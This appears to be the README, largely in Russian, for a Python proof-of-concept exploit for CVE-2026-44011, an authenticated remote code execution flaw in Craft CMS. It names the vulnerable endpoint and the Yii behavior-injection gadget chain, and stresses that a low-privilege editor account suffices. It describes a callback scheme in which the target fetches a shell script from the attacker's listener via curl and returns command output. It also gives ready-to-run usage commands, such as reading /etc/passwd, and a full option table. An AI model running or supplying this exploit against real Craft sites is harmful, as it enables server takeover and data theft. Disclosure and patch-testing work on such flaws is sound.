
Python proof-of-concept эксплойт для CVE-2026-44011 — аутентифицированного RCE в Craft CMS через инъекцию поведения Yii с двухэтапным захватом вывода команды.
Аутентифицированное RCE в Craft CMS через инъекцию поведения Yii.
Затронуто: 4.0.0–4.17.11, 5.0.0–5.9.17
Исправлено в: 4.17.12, 5.9.18
Рекомендация: GHSA-qrgm-p9w5-rrfw
Конечная точка /admin/actions/element-search/search принимает параметр condition, который передаётся напрямую в ElementCondition::createCondition() без предварительного вызова Component::cleanseConfig(). Это означает, что специальные ключи конструирования объектов Yii — __class, as <name> (присоединение поведения), on <event> (регистрация обработчика) — вступают в силу при построении объекта FieldLayout из данных запроса.
Эксплойт присоединяет AttributeTypecastBehavior, настроенное на вызов Psy\Readline\Hoa\ConsoleProcessus::execute() (внутренний механизм PSY/Yii, выполняющий команды оболочки) в качестве своего typecast-вызываемого. Поведение срабатывает на событии beforeSave, которое Craft инициирует в рамках того же запроса.
Это может сделать любая учётная запись — даже редактор с низкими привилегиями. Права администратора не требуются.
Вместо слепого reverse shell он использует двухэтапный захват вывода:
curl, которая загружает shell-скрипт с локального HTTP-слушателя, контролируемого вамиВы получаете вывод команды прямо в терминале, без необходимости в nc-слушателе.
requests (pip install requests)# Basic — run id on the target
python3 exploit.py \
-b http://target.com \
-u [email protected] \
-p 'password123' \
-c 'id'
# Custom control panel path
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'
# Specify your callback address when it can't be inferred
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
-H 10.10.14.5 --listen-port 8080
# Skip TLS verification (self-signed certs)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify
# Skip version check (e.g. version detection fails)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force
Хост/порт обратного вызова — это адрес, на который цель отправляет вывод обратно вам. По умолчанию хост выводится из вашего маршрута к цели, а порт назначается операционной системой. Если цель находится за NAT или VPN, вам потребуется --callback-host, указывающий на ваш доступный IP-адрес.
-b / --base-url Target origin (required)
-P / --cp-path Control panel path (default: /admin)
-u / --username Login name or email (required)
-p / --password Password (required)
-c / --command Shell command to execute (required)
-s / --site-id Craft site ID (default: 1)
-e / --element-type Element type for the condition (default: craft\elements\Category)
-t / --timeout Request timeout in seconds (default: 15)
-H / --callback-host Your reachable address for output callbacks
--listen-port Port for output listener (default: OS picks one)
--no-verify Skip TLS cert verification
-F / --force Skip version range check
Только для авторизованного тестирования безопасности и исследований.